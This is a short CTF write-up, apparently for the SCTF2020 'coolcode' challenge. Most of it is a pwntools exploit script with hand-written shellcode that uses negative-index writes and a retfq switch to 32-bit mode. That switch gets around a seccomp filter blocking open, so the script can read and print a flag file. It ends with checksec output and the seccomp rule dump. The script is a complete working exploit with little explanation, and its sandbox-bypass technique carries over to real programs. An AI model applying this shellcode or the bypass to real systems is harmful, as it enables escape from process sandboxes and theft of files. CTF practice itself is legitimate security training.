限制system和open的ORW，需要retfq

sctf2020_coolcode.py

#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
 
context.terminal = ['tmux', 'splitw', '-h']
context(os = 'linux', log_level='debug')
 
p = process('./pwn') 

shellcode1 = '''
    xor rax, rax 
    xor rdi, rdi 
    push 0x60
    pop rdx
    mov esi, 0x1010101
    xor esi, 0x1612001
    syscall

    mov esp, esi
    retfq
'''

shellcode_o = '''
    mov esp, 0x602170
    push 0x67616c66
    push esp
    pop ebx
    xor ecx,ecx
    mov eax,5
    int 0x80
'''

shellcode_rw = '''
    push 0x33
    push 0x60212e
    retfq

    xor rax, rax
    mov rdi, 0x3
    push 0x602500
    pop rsi
    mov rdx, 0x60
    syscall

    mov rdi, 0x1
    mov rax, 0x1
    syscall
'''

payload = p64(0x602110) + p64(0x23) + asm(shellcode_o, arch='i386') + asm(shellcode_rw, arch='amd64')

def debug(p, cmd):
    gdb.attach(p, cmd)
    pause()

def add(idx,data):
    p.sendlineafter('Your choice :',str(1))
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('messages: ')
    p.send(str(data))
def show(idx):
    p.sendlineafter('Your choice :',str(2))
    p.recvuntil('Index: ')
    p.sendline(str(idx))
def delete(idx):
    p.sendlineafter('Your choice :',str(3))
    p.recvuntil('Index: ')
    p.sendline(str(idx))

if __name__ == "__main__":
    # debug(p, 'b *0x602110\n')
    add('-22', asm('ret',arch = 'amd64'))
    add('-37', asm(shellcode1,arch = 'amd64'))
    delete(0)
    p.sendline(payload)
    p.interactive()

WRITE-by-at0de

retfq
/*与下面的等价*/
pop IP
pop CS

➜  coolcode checksec pwn
[*] '/home/mech0n/pwn/sctf2020/coolcode/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0006
 0002: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0006
 0003: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0006
 0004: 0x15 0x01 0x00 0x00000005  if (A == fstat) goto 0006
 0005: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL